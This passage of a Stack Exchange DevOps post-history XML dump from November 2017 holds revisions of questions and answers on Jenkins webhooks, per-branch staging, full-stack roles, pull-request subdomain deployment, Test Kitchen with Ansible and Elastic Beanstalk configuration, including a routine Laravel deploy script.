  <row Id="8074" PostHistoryTypeId="2" PostId="2584" RevisionGUID="e48d7e12-39d9-40e8-bdf1-4835448efedc" CreationDate="2017-11-17T17:27:05.720" UserId="4115" Text="According to the [official documentation for the GitHub Branch Source plugin](https://go.cloudbees.com/docs/cloudbees-documentation/cje-user-guide/index.html#github-branch-source):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; While the build triggers are often enough, you can set up webhooks to&#xD;&#xA;&gt; automatically trigger builds when changes are pushed to your GitHub&#xD;&#xA;&gt; repositories. To do this you must have a GitHub login with a token.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. Go to the main configuration settings page, Manage Jenkins &gt; Configure System&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2. In the GitHub Plugin Configuration section, add a server with your credentials&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3. If you need a token, generate one with the Additional Actions &gt; Convert login to password and token&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can also configure this manually through GitHub itself by&#xD;&#xA;&gt; registering the URL provided in the help section of the server config.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8078" PostHistoryTypeId="2" PostId="2586" RevisionGUID="90bd154d-5f7e-47d1-8001-b3f718ce624a" CreationDate="2017-11-17T20:45:35.733" UserId="4328" Text="Yes, you should definitively run both parts in parallel if you have the resources. This means that your job will run as fast as your slowest running part. This puts emphasis on optimizing your slowest running part. It might be something as simple as running some processes of part 1 ahead of time before part 2 even begins. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8079" PostHistoryTypeId="2" PostId="2587" RevisionGUID="94bc4c8f-ed04-423b-adfa-7221ec38b1bb" CreationDate="2017-11-17T21:53:27.530" UserId="4369" Text="As per https://12factor.net/config, configuration like this should be stored as environment variables.&#xD;&#xA;&#xD;&#xA;&gt;The twelve-factor app stores config in environment variables (often shortened to env vars or env). Env vars are easy to change between deploys without changing any code; unlike config files, there is little chance of them being checked into the code repo accidentally; and unlike custom config files, or other config mechanisms such as Java System Properties, they are a language- and OS-agnostic standard.&#xD;&#xA;&#xD;&#xA;A service that you connect to is suitable to be defined as configuration, so the use of env vars is appropriate here." ContentLicense="CC BY-SA 3.0" />
  <row Id="8080" PostHistoryTypeId="50" PostId="2004" RevisionGUID="1739775f-8519-429f-a814-abe2d0b3d6bf" CreationDate="2017-11-17T23:16:44.440" UserId="-1" />
  <row Id="8081" PostHistoryTypeId="2" PostId="2588" RevisionGUID="104f0c56-da99-4bea-a799-20fc0edbe08e" CreationDate="2017-11-18T01:34:30.500" UserId="902" Text="It's not currently possible to restrict a GCP load balancer's ports and protocols used like you can with an AWS ELB. &#xD;&#xA;This is a feature request. https://issuetracker.google.com/issues/35904903&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8082" PostHistoryTypeId="5" PostId="1568" RevisionGUID="88ef913a-9518-4217-8a22-f15fb9a00138" CreationDate="2017-11-18T07:11:34.117" UserId="60" Comment="Improved list formatting" Text="At my work, I have been tasked to create a new staging process for our development and testing. &#xD;&#xA;&#xD;&#xA;At any given time, there are only around 4 git branches actively being developed and tested. Within each git branch, there **may be** database evolution scripts (straight SQL) that must be run, as well as evolution scripts from the backend for heavier processing (essentially these are HTTP routes that must be called within the app using admin credentials that perform database migrations and other changes that would be too difficult/not possible to script in the aforementioned plain SQL evolution scripts).&#xD;&#xA;&#xD;&#xA;Our live DB is moderately sized ~ 4.2 GB. We have a brand new Dell PowerEdge server that is ready to be set up and is at my disposable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would love advice on the following questions, as well as to know how more experienced DevOps would approach this:&#xD;&#xA;&#xD;&#xA;1. How can I run several different branches on the staging server? These branches pop up and disappear frequently as they pass QA and are merged into master and are released. &#xD;&#xA;&#xD;&#xA;2. How would I set up the DB evolution system to make sure it always has appropriate DB for each branch? Each branch may make modifications to the DB in different ways that are not necessarily compatible with each other until they're merged.&#xD;&#xA;&#xD;&#xA;3. How do I keep these branches up-to-date? Is there a way to auto pull commits on each branch? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Would love any more input as I'm a bit lost on how to set this all up. Current workflow is difficult for everyone involved: Devs have a completely isolated local copy of the app running locally and QA has 3-4 laptops in rotation that act as their staging &quot;servers&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8083" PostHistoryTypeId="24" PostId="1568" RevisionGUID="88ef913a-9518-4217-8a22-f15fb9a00138" CreationDate="2017-11-18T07:11:34.117" Comment="Proposed by 60 approved by -1 edit id of 530" ContentLicense="CC BY-SA 3.0" />
  <row Id="8084" PostHistoryTypeId="5" PostId="1568" RevisionGUID="80203646-9f5c-4170-bced-814b84a4ee5a" CreationDate="2017-11-18T07:11:34.117" UserId="40" Comment="deleted 24 characters in body" Text="I have to create a new staging process for our development and testing. &#xD;&#xA;&#xD;&#xA;At any given time, there are only around 4 git branches actively being developed and tested. Within each git branch, there **may be** database evolution scripts (straight SQL) that must be run, as well as evolution scripts from the backend for heavier processing (essentially these are HTTP routes that must be called within the app using admin credentials that perform database migrations and other changes that would be too difficult/not possible to script in the aforementioned plain SQL evolution scripts).&#xD;&#xA;&#xD;&#xA;Our live DB is moderately sized ~ 4.2 GB. We have a brand new Dell PowerEdge server that is ready to be set up and is at my disposable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would love advice on the following questions, as well as to know how more experienced DevOps would approach this:&#xD;&#xA;&#xD;&#xA;1. How can I run several different branches on the staging server? These branches pop up and disappear frequently as they pass QA and are merged into master and are released. &#xD;&#xA;&#xD;&#xA;2. How would I set up the DB evolution system to make sure it always has appropriate DB for each branch? Each branch may make modifications to the DB in different ways that are not necessarily compatible with each other until they're merged.&#xD;&#xA;&#xD;&#xA;3. How do I keep these branches up-to-date? Is there a way to auto pull commits on each branch? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Would love any more input as I'm a bit lost on how to set this all up. Current workflow is difficult for everyone involved: Devs have a completely isolated local copy of the app running locally and QA has 3-4 laptops in rotation that act as their staging &quot;servers&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8085" PostHistoryTypeId="2" PostId="2589" RevisionGUID="c0953a0e-9672-43ba-80a4-df1a4669ae10" CreationDate="2017-11-18T07:12:23.263" UserId="3766" Text="The process I'll called as service here, **1 container ~ 1 service**, if any of my service is failed then I'll only spin up that respective container and with-in seconds everything is up again. So, there won't be any dependencies between services. It is best practice to keep your container size less than 200 MB and max 500 MB (exception to windows native containers are more than 2 GB's) otherwise, its going to be the similar as virtual machine, not exactly but, performance suffice. Also, take into consideration few parameters as scaling, how could I make my services resilience, auto-deploy, etc.&#xD;&#xA;&#xD;&#xA;And, its purely your call how you need to make your architectural patterns like micro-service in polygot environment using the containers technology that best suite your environment and will automate the things for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="8086" PostHistoryTypeId="2" PostId="2590" RevisionGUID="6f8615cf-c485-4946-84cb-a08a161e038b" CreationDate="2017-11-18T15:50:45.297" UserId="707" Text="By Adam Smith, labour division can make you by 240 time more effective.&#xD;&#xA;&#xD;&#xA;**Why then are multi-skilled roles are so in demand if this actually reduces productivity - or was Smith just wrong, why then?**&#xD;&#xA;&#xD;&#xA;Searches for &quot;fullstack developer&quot; still trend on Google, however slower then it seemed to be two years ago.&#xD;&#xA;&#xD;&#xA;https://pasteboard.co/GUezWmX.png &#xD;&#xA;&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;To sum up, a *full stack developer* would be able do virtually all the value chain (correct me if I am wrong):&#xD;&#xA;&#xD;&#xA;- Discuss with customers and refine workable agile requirements for his part of the job&#xD;&#xA;- Decide which architecture, tooling and components pick up - just give him a notebook&#xD;&#xA;- Write code for frontend, backend, ingration, which is cross device compatile and does not requrire much testing, or includes it&#xD;&#xA;- Profile and scape data, use Cloud AI/ML APIs for advanced features&#xD;&#xA;- Write up required IaC code and rollout&#xD;&#xA;- Be on call in case of error or sales processes&#xD;&#xA;- Be aware of security relevant design, overall patching, migration and modernization&#xD;&#xA;- Account time table in a scroutinized way to ease invoicing of the employer&#xD;&#xA;- ... did I forgot anything?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8087" PostHistoryTypeId="1" PostId="2590" RevisionGUID="6f8615cf-c485-4946-84cb-a08a161e038b" CreationDate="2017-11-18T15:50:45.297" UserId="707" Text="Adam Smith vs. fullstack developers" ContentLicense="CC BY-SA 3.0" />
  <row Id="8088" PostHistoryTypeId="3" PostId="2590" RevisionGUID="6f8615cf-c485-4946-84cb-a08a161e038b" CreationDate="2017-11-18T15:50:45.297" UserId="707" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8089" PostHistoryTypeId="4" PostId="2590" RevisionGUID="6c0fea8f-ed01-4696-ac48-c8fc6037ded2" CreationDate="2017-11-18T16:06:03.123" UserId="707" Comment="edited title" Text="Adam Smith vs. fullstack developers - and productivity in DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8090" PostHistoryTypeId="5" PostId="2590" RevisionGUID="6c0fea8f-ed01-4696-ac48-c8fc6037ded2" CreationDate="2017-11-18T16:06:03.123" UserId="707" Comment="edited title" Text="By Adam Smith, labour division can make you *by 240 times* more effective.&#xD;&#xA;&#xD;&#xA;**Why then are multi-skilled roles are so in demand if this actually reduces productivity - or was Smith just wrong, why then?**&#xD;&#xA;&#xD;&#xA;Searches for &quot;fullstack developer&quot; still trend on Google, however slower then it seemed to be two years ago.&#xD;&#xA;&#xD;&#xA;https://pasteboard.co/GUezWmX.png &#xD;&#xA;&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;To sum up, a *full stack developer* would be able do virtually all the value chain (correct me if I am wrong):&#xD;&#xA;&#xD;&#xA;- Discuss with customers and refine workable agile requirements for his part of the job&#xD;&#xA;- Decide which architecture, tooling and components pick up - just give him a notebook&#xD;&#xA;- Write code for frontend, backend, ingration, which is cross device compatile and does not requrire much testing, or includes it&#xD;&#xA;- Profile and scape data, use Cloud AI/ML APIs for advanced features&#xD;&#xA;- Write up required IaC code and rollout&#xD;&#xA;- Be on call in case of error or sales processes&#xD;&#xA;- Be aware of security relevant design, overall patching, migration and modernization&#xD;&#xA;- Account time table in a scroutinized way to ease invoicing of the employer&#xD;&#xA;- ... did I forgot anything?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8091" PostHistoryTypeId="50" PostId="2352" RevisionGUID="6d480504-8628-40aa-9353-42ec3837b018" CreationDate="2017-11-18T16:38:15.140" UserId="-1" />
  <row Id="8092" PostHistoryTypeId="2" PostId="2591" RevisionGUID="56a57387-7484-4265-b299-09858370068d" CreationDate="2017-11-18T16:47:48.393" UserId="4997" Text="# Background&#xD;&#xA;I got a team of untechnical QA's who have to do testing on iOS/android apps for every Pull Request (PR) that gets created by my backend team. &#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;This is what I want to do: everytime a backend engineer creates a PR on bitbucket, I would like a script to automatically deploy the code of that PR git branch into a subdomain of our dev server that matches the JIRA issue created. &#xD;&#xA;&#xD;&#xA;For example suppose the jira issue that the PR addresses is BAC-421, then as soon as the engineer creates a PR, the script deploys the code they created into AWS EC2 so that the QA can point their apps to www.bac421.mydevdomain.com&#xD;&#xA;&#xD;&#xA;What is the best way to do this? I'm a devops technical nube. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8093" PostHistoryTypeId="1" PostId="2591" RevisionGUID="56a57387-7484-4265-b299-09858370068d" CreationDate="2017-11-18T16:47:48.393" UserId="4997" Text="how to automatically create a subdomain for every pull request" ContentLicense="CC BY-SA 3.0" />
  <row Id="8094" PostHistoryTypeId="3" PostId="2591" RevisionGUID="56a57387-7484-4265-b299-09858370068d" CreationDate="2017-11-18T16:47:48.393" UserId="4997" Text="&lt;git&gt;&lt;deployment&gt;&lt;bitbucket&gt;&lt;git-hooks&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8095" PostHistoryTypeId="2" PostId="2592" RevisionGUID="6f763928-8177-4236-b2a9-6760297cf0a0" CreationDate="2017-11-18T18:14:09.763" UserId="5265" Text="As pointed out [here](https://devops.stackexchange.com/questions/98/how-to-test-provisioning-and-configuration-in-ansible-setup), testkitchen is in principable usable with ansible if the right plugins are installed.&#xD;&#xA;&#xD;&#xA;Now I've done all the installing and am at the point, where I wonder, what I missunderstood:&#xD;&#xA;&#xD;&#xA;As a driver I use vagrant and I thought it might be a good idea to use the vagrant-host as the machine which does the ansible-provisoning since the ssh-access is obviously cared for by vagrant and python is installed per default on my boxes per default. Now, when I look at my logs, I see:&#xD;&#xA;&#xD;&#xA;&gt; Setting up ansible (2.4.1.0-1ppa~xenial) ...&#xD;&#xA;&#xD;&#xA;How can I prevent the installing of ansible? How can I tell testkitchen to use localhost as the machine which provisions the vagrant vms?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8096" PostHistoryTypeId="1" PostId="2592" RevisionGUID="6f763928-8177-4236-b2a9-6760297cf0a0" CreationDate="2017-11-18T18:14:09.763" UserId="5265" Text="How to setup testkitchen with ansible-provisioning from localhost for different vagrant-vms?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8097" PostHistoryTypeId="3" PostId="2592" RevisionGUID="6f763928-8177-4236-b2a9-6760297cf0a0" CreationDate="2017-11-18T18:14:09.763" UserId="5265" Text="&lt;ansible&gt;&lt;testing&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8098" PostHistoryTypeId="2" PostId="2593" RevisionGUID="5cc09dc5-4568-4e67-af6c-aaf156dd7a97" CreationDate="2017-11-18T18:18:39.600" UserId="2805" Text="I consider myself as a fullstack developer on the basis of the following combination of responsibilities:&#xD;&#xA;&#xD;&#xA;**Front end and back end programming**&#xD;&#xA;&#xD;&#xA;I can do UI changes until some extent: write html, css (as a web developer) and in other hand in some extend provide data to the UI from database, provide it in a service etc. &#xD;&#xA;&#xD;&#xA;I leave testing, architecture and those aside, meeting customers may be added to the working description. &#xD;&#xA;&#xD;&#xA;**Opposite**&#xD;&#xA;&#xD;&#xA;The opposite for my point of view would be strict roles of UI guys and back end guys. &#xD;&#xA;&#xD;&#xA;**Conclusions**&#xD;&#xA;&#xD;&#xA;I don't see full stack really that full as you mentioned, more like a fancy expression like agile or cloud that in certain conditions just have to be mentioned to attract people's attention and the real implementation may vary vastly. At least about scrum and agile I have seen so many variations that the terms have run out of meaning. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8099" PostHistoryTypeId="2" PostId="2594" RevisionGUID="da3d10d4-c86d-47a7-ba64-9bc46768df5e" CreationDate="2017-11-18T21:06:23.743" UserId="739" Text="Adam Smith did not need to consider passing of information from one stage to another.  This is a critical part of any significant IT project.  So a fullstack developer has the significant advantages that:&#xD;&#xA;&#xD;&#xA;* they don't have to talk to anybody in another department to get things done&#xD;&#xA;* they don't have to wait for those other people to get around to it&#xD;&#xA;* there's much less chance that something will get lost in translation between one layer and another&#xD;&#xA;&#xD;&#xA;For more on the importance of information passing in IT projects see Fred Brook's *Mythical Man Month*." ContentLicense="CC BY-SA 3.0" />
  <row Id="8101" PostHistoryTypeId="6" PostId="2590" RevisionGUID="4a7dd944-4625-42ad-ad1a-f2422e370338" CreationDate="2017-11-18T21:38:05.607" UserId="739" Comment="it is too bad we don't have an economics tag, but this is related to project-management" Text="&lt;culture&gt;&lt;project-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8102" PostHistoryTypeId="24" PostId="2590" RevisionGUID="4a7dd944-4625-42ad-ad1a-f2422e370338" CreationDate="2017-11-18T21:38:05.607" Comment="Proposed by 739 approved by 707 edit id of 531" ContentLicense="CC BY-SA 3.0" />
  <row Id="8104" PostHistoryTypeId="2" PostId="2595" RevisionGUID="1a668a35-4f7a-4aed-8cef-e3509366dd5f" CreationDate="2017-11-19T04:41:17.197" UserId="670" Text="We do this at work.&#xD;&#xA;&#xD;&#xA;We have a small server, let's call it the receiver, it's the target of the GitHub webhook events. It runs a small application that parses the payload and incorporates logic around how to proceed e.g. create a new server on the infrastructure provider, update the load balancer, destroy the server etc.&#xD;&#xA;&#xD;&#xA;The receiver is relatively straightforward to handle, the other necessary supporting systems you'll need are an approach to configuration management/provisioning (how does the server have the packages necessary to run the application), secrets management (how does the server get access to sensitive information) and routing  (how do the subdomains get updated and route to the correct server).&#xD;&#xA;&#xD;&#xA;It could be worthwhile looking at preparing an AMI with the necessary services configured, a cloudformation template with the infrastructure provisioning logic and AWS code deploy could handle deployments for you.&#xD;&#xA;&#xD;&#xA;Don't forget to consider how you'll handle the database/persistence layer &amp; zero down time deployments." ContentLicense="CC BY-SA 3.0" />
  <row Id="8105" PostHistoryTypeId="2" PostId="2596" RevisionGUID="95dd1193-c8f7-42af-8f09-3af5c58f006a" CreationDate="2017-11-19T04:47:13.860" UserId="228" Text="There are two types of work:&#xD;&#xA;&#xD;&#xA;1. **Exploitation** - Well defined work that can be easily divided into well-defined stages, where each stage can be learned and mastered on its own and handover between stages does not require communication.&#xD;&#xA;&#xD;&#xA;2. **Exploration** - Undefined work, which requires learning and experimentation to accomplish each stage and handover between stages requires massive amounts of communication of all learning and status of the project. &#xD;&#xA;&#xD;&#xA;Adam Smith concerns himself wholly with exploitation and not at all with exploration. The work done in **Research &amp; Development** departments of the industry is by its definition mostly exploration and so it is not covered in any way by Adam Smith.&#xD;&#xA;&#xD;&#xA;But we have seen that in later continuous improvement stages, which are partly exploitative work, the application of CI/CD can bring similar gains in productivity, which could in some way be probably traced down to Adam Smith by someone very imaginative." ContentLicense="CC BY-SA 3.0" />
  <row Id="8106" PostHistoryTypeId="5" PostId="2591" RevisionGUID="f5ee32a0-eed7-47d3-95e7-4ac2dff8c9a6" CreationDate="2017-11-19T06:45:06.980" UserId="4997" Comment="added 765 characters in body" Text="# Background&#xD;&#xA;I got a team of untechnical QA's who have to do testing on iOS/android apps for every Pull Request (PR) that gets created by my backend team. &#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;This is what I want to do: everytime a backend engineer creates a PR on bitbucket, I would like a script to automatically deploy the code of that PR git branch into a subdomain of our dev server that matches the JIRA issue created. &#xD;&#xA;&#xD;&#xA;For example suppose the jira issue that the PR addresses is BAC-421, then as soon as the engineer creates a PR, the script deploys the code they created into AWS EC2 so that the QA can point their apps to www.bac421.mydevdomain.com&#xD;&#xA;&#xD;&#xA;What is the best way to do this? I'm a devops technical nube. &#xD;&#xA;&#xD;&#xA;# Update - Environment Specs&#xD;&#xA;so here is a breakup of our env&#xD;&#xA;- the backend uses laravel 5.3&#xD;&#xA;- it's deployed on AWS EC2&#xD;&#xA;- we use [forge][1] for auto deployment (nothing fancy.. we just run this script:&#xD;&#xA;&#xD;&#xA;    cd /home/forge/default&#xD;&#xA;    git fetch --tags &#xD;&#xA;    git pull origin master&#xD;&#xA;    git describe&#xD;&#xA;    composer install --no-dev --no-interaction --prefer-dist --optimize-autoloader&#xD;&#xA;    echo &quot;&quot; | sudo -S service php7.1-fpm reload&#xD;&#xA;    &#xD;&#xA;    if [ -f artisan ]&#xD;&#xA;    then&#xD;&#xA;        php artisan migrate --force&#xD;&#xA;        php artisan config:cache&#xD;&#xA;        php artisan queue:restart&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA; that we run as soon as we merge dev unto master branch)&#xD;&#xA;- besides that we don't use any CI/CD tools although I'm open for recommendations&#xD;&#xA;- DNS provider is GoDaddy&#xD;&#xA;- our application server is nginx&#xD;&#xA;- our database is in a separate RDS instance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://forge.laravel.com/auth/login" ContentLicense="CC BY-SA 3.0" />
  <row Id="8107" PostHistoryTypeId="2" PostId="2597" RevisionGUID="f6eee91c-2403-4f73-9aa4-cbfc6e4f9a3d" CreationDate="2017-11-19T07:51:34.990" UserId="707" Text="Today, you could more or less setup a CI/CD toolchain by youself, even locally. Indeed I have seen teams doing it in an ITSM environment because the communication with management did not work.&#xD;&#xA;&#xD;&#xA;Nevertherless we know CI/CD is a very important, if not most important, company production line - it produces value, even if it does not seen so by ITSM to give it operations status and priority (in short, SLA for systems which should survive project time).&#xD;&#xA;&#xD;&#xA;Let's ignore for simplicity network downloads.&#xD;&#xA;&#xD;&#xA;Question: what should be the execution speed of CI/CD relative to a setup on a local machine (if possible):&#xD;&#xA;&#xD;&#xA;- Same is ok?&#xD;&#xA;- Faster - how much faster?&#xD;&#xA;- Slower?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8108" PostHistoryTypeId="1" PostId="2597" RevisionGUID="f6eee91c-2403-4f73-9aa4-cbfc6e4f9a3d" CreationDate="2017-11-19T07:51:34.990" UserId="707" Text="Speed relationship of CI/CD jobs to local machine" ContentLicense="CC BY-SA 3.0" />
  <row Id="8109" PostHistoryTypeId="3" PostId="2597" RevisionGUID="f6eee91c-2403-4f73-9aa4-cbfc6e4f9a3d" CreationDate="2017-11-19T07:51:34.990" UserId="707" Text="&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8110" PostHistoryTypeId="4" PostId="2597" RevisionGUID="04e988c3-19c9-45dc-881a-ee8d7a8c907d" CreationDate="2017-11-19T07:56:59.033" UserId="707" Comment="edited title" Text="Speed relationship of CI/CD jobs to (reference) local machine" ContentLicense="CC BY-SA 3.0" />
  <row Id="8111" PostHistoryTypeId="2" PostId="2598" RevisionGUID="14bbbfce-93c4-467f-8c16-030fcc9b4582" CreationDate="2017-11-19T08:05:40.460" UserId="5268" Text="I am using the Elastic Beanstalk web UI to create an environment, for a single Docker container. I would like to put all the environment options into a .config file in the application bundle. I'm getting close to this. With the options below I'm nearly there. However, I do have to use the web UI &quot;Configure more options&quot; and change &quot;Capacity&quot; &quot;Environment type&quot; to &quot;Load balanced&quot;. Without that my environment fails to start and I get  error messages like:&#xD;&#xA;&#xD;&#xA;&quot;Load Balancer ListenerEnabled setting cannot be applied because AWSEBLoadBalancer doesn't exist.&quot;&#xD;&#xA;&#xD;&#xA;Ideas? &#xD;&#xA;&#xD;&#xA;Here is the .config file I'm using in my application bundle:&#xD;&#xA;&#xD;&#xA;    option_settings:  &#xD;&#xA;      aws:elasticbeanstalk:environment:&#xD;&#xA;        ServiceRole: aws-elasticbeanstalk-service-role&#xD;&#xA;        LoadBalancerType: classic&#xD;&#xA;        EnvironmentType: LoadBalanced&#xD;&#xA;      aws:elb:loadbalancer:&#xD;&#xA;        CrossZone: 'false'&#xD;&#xA;      aws:elb:listener:&#xD;&#xA;        ListenerEnabled: 'false'&#xD;&#xA;      aws:elb:listener:443:&#xD;&#xA;        ListenerProtocol: HTTPS&#xD;&#xA;        SSLCertificateId: &lt;snip&gt;&#xD;&#xA;        InstancePort: 80&#xD;&#xA;        InstanceProtocol: HTTP&#xD;&#xA;      aws:elasticbeanstalk:healthreporting:system:&#xD;&#xA;        SystemType: enhanced&#xD;&#xA;      aws:autoscaling:launchconfiguration:&#xD;&#xA;        IamInstanceProfile: aws-elasticbeanstalk-ec2-role&#xD;&#xA;        InstanceType: t2.micro&#xD;&#xA;        EC2KeyName: amazon1    &#xD;&#xA;      aws:autoscaling:asg:&#xD;&#xA;        MaxSize: '1'&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8112" PostHistoryTypeId="1" PostId="2598" RevisionGUID="14bbbfce-93c4-467f-8c16-030fcc9b4582" CreationDate="2017-11-19T08:05:40.460" UserId="5268" Text="Elastic Beanstalk: Setting parameters from a .config file in the application bundle" ContentLicense="CC BY-SA 3.0" />
  <row Id="8113" PostHistoryTypeId="3" PostId="2598" RevisionGUID="14bbbfce-93c4-467f-8c16-030fcc9b4582" CreationDate="2017-11-19T08:05:40.460" UserId="5268" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8114" PostHistoryTypeId="4" PostId="2597" RevisionGUID="b4301bfc-37c0-474f-a72a-a2fa526cceba" CreationDate="2017-11-19T08:27:53.203" UserId="707" Comment="edited title" Text="Speed relationship of CI/CD jobs to a (reference) local machine" ContentLicense="CC BY-SA 3.0" />
  <row Id="8115" PostHistoryTypeId="5" PostId="2597" RevisionGUID="b4301bfc-37c0-474f-a72a-a2fa526cceba" CreationDate="2017-11-19T08:27:53.203" UserId="707" Comment="edited title" Text="Today, you could more or less setup a CI/CD toolchain by youself, even locally. Indeed I have seen teams doing it in an ITSM environment because the communication with management did not work.&#xD;&#xA;&#xD;&#xA;Nevertherless we know CI/CD is a very important, if not most important, company production line - it produces value, even if it does not seen so by ITSM to give it operations status and priority (in short, SLA for systems which should survive project time instead of setting them up in every project and department over and over).&#xD;&#xA;&#xD;&#xA;Let's ignore for simplicity network downloads.&#xD;&#xA;&#xD;&#xA;Question: what should be the execution speed of CI/CD relative to a setup on a local machine (if possible):&#xD;&#xA;&#xD;&#xA;- Same is ok?&#xD;&#xA;- Faster - how much faster?&#xD;&#xA;- Slower?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8116" PostHistoryTypeId="5" PostId="2595" RevisionGUID="ed54460f-8db2-478e-ad53-11b89f7b34ec" CreationDate="2017-11-19T10:39:38.640" UserId="670" Comment="Added supporting links in line with OPs request plus some formatting," Text="We do this at work.&#xD;&#xA;&#xD;&#xA;We have a small server, let's call it the receiver, it's the target of the [GitHub webhook events][1]. It runs a small application that parses the payload and incorporates logic around how to proceed e.g. create a new server on the infrastructure provider, update the load balancer, deploy to an existing server, destroy the server etc. This could be a traditional web application serving up an API or it could be a serverless application, up to you how you want to approach it.&#xD;&#xA;&#xD;&#xA;The receiver is relatively straightforward to handle, the other necessary supporting systems you'll need are an approach to configuration management/provisioning (how does the server have the packages necessary to run the application), secrets management (how does the server get access to sensitive information) and routing  (how do the subdomains get updated and route to the correct server).&#xD;&#xA;&#xD;&#xA;It could be worthwhile looking at preparing an [AMI][2] with the necessary services configured, a [CloudFormation][3] template with the infrastructure provisioning logic and [CodeDeploy][4] could handle deployments for you.&#xD;&#xA;&#xD;&#xA;**Configuration Management**&#xD;&#xA;&#xD;&#xA;This is really up to you and your team, there are a multitude of tools you can use or you can simply rely on shell scripting. At what point in the servers lifecycle you apply the changes is what's discussed in the AMI design [article][2] I linked. &#xD;&#xA;&#xD;&#xA;**Secrets Management**&#xD;&#xA;&#xD;&#xA;This is a challenging topic to address with the information at hand, in the interest of brevity I'll leave that up to you and your team.&#xD;&#xA;&#xD;&#xA;**Routing**&#xD;&#xA;&#xD;&#xA;There are a few ways you can handle routing, the Application Load Balancer (not to be confused with the ELB/NLB) offered by AWS supports [host based routing][5]. Alternatively you could use a reverse proxy like nginx or HAProxy, when you provision a new environment you will need to update this routing (ideally automatically) irrespective of what approach you take.&#xD;&#xA;&#xD;&#xA;Don't forget to consider how you'll handle the database/persistence layer &amp; zero down time deployments. The question to ask with the persistence layer is whether the team will share a database and how that will interact with things like migrations. On the topic of zero downtime deployments, CodeDeploy should handle that nicely for you. One more thing, you mentioned a single mobile application pointing to different environments, how will you point these applications to the environments.&#xD;&#xA;&#xD;&#xA;Hopefully I've been of some help, good luck.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.github.com/webhooks/&#xD;&#xA;  [2]: https://aws.amazon.com/answers/configuration-management/aws-ami-design/&#xD;&#xA;  [3]: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html&#xD;&#xA;  [4]: http://docs.aws.amazon.com/codedeploy/latest/userguide/welcome.html&#xD;&#xA;  [5]: http://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-listeners.html#host-conditions" ContentLicense="CC BY-SA 3.0" />
  <row Id="8117" PostHistoryTypeId="24" PostId="2595" RevisionGUID="ed54460f-8db2-478e-ad53-11b89f7b34ec" CreationDate="2017-11-19T10:39:38.640" Comment="Proposed by 670 approved by -1 edit id of 532" ContentLicense="CC BY-SA 3.0" />
  <row Id="8118" PostHistoryTypeId="5" PostId="2595" RevisionGUID="7c1ba614-a43e-46f2-b011-c366fef026e1" CreationDate="2017-11-19T10:39:38.640" UserId="40" Comment="remove noise" Text="We do this at work.&#xD;&#xA;&#xD;&#xA;We have a small server, let's call it the receiver, it's the target of the [GitHub webhook events][1]. It runs a small application that parses the payload and incorporates logic around how to proceed e.g. create a new server on the infrastructure provider, update the load balancer, deploy to an existing server, destroy the server etc. This could be a traditional web application serving up an API or it could be a serverless application, up to you how you want to approach it.&#xD;&#xA;&#xD;&#xA;The receiver is relatively straightforward to handle, the other necessary supporting systems you'll need are an approach to configuration management/provisioning (how does the server have the packages necessary to run the application), secrets management (how does the server get access to sensitive information) and routing  (how do the subdomains get updated and route to the correct server).&#xD;&#xA;&#xD;&#xA;It could be worthwhile looking at preparing an [AMI][2] with the necessary services configured, a [CloudFormation][3] template with the infrastructure provisioning logic and [CodeDeploy][4] could handle deployments for you.&#xD;&#xA;&#xD;&#xA;**Configuration Management**&#xD;&#xA;&#xD;&#xA;This is really up to you and your team, there are a multitude of tools you can use or you can simply rely on shell scripting. At what point in the servers lifecycle you apply the changes is what's discussed in the AMI design [article][2] I linked. &#xD;&#xA;&#xD;&#xA;**Secrets Management**&#xD;&#xA;&#xD;&#xA;This is a challenging topic to address with the information at hand, in the interest of brevity I'll leave that up to you and your team.&#xD;&#xA;&#xD;&#xA;**Routing**&#xD;&#xA;&#xD;&#xA;There are a few ways you can handle routing, the Application Load Balancer (not to be confused with the ELB/NLB) offered by AWS supports [host based routing][5]. Alternatively you could use a reverse proxy like 